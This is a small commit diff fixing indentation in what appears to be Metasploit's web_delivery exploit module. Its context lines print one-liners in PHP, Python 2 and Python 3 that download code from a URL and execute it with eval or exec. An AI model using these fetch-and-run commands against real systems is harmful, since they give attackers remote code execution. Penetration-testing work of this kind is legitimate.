fixed spacing

Author: Swiftb0y

modules/exploits/multi/script/web_delivery.rb

@@ -86,7 +86,7 @@ def primer
     when 'PHP'
       print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
     when 'Python'
-	  print_line("python 2:")
+      print_line("python 2:")
       print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
       print_line("Python 3:")
       print_line("python3 -c \"import urllib.request; r = urllib.request.urlopen('#{url}'); exec(r.read());\"")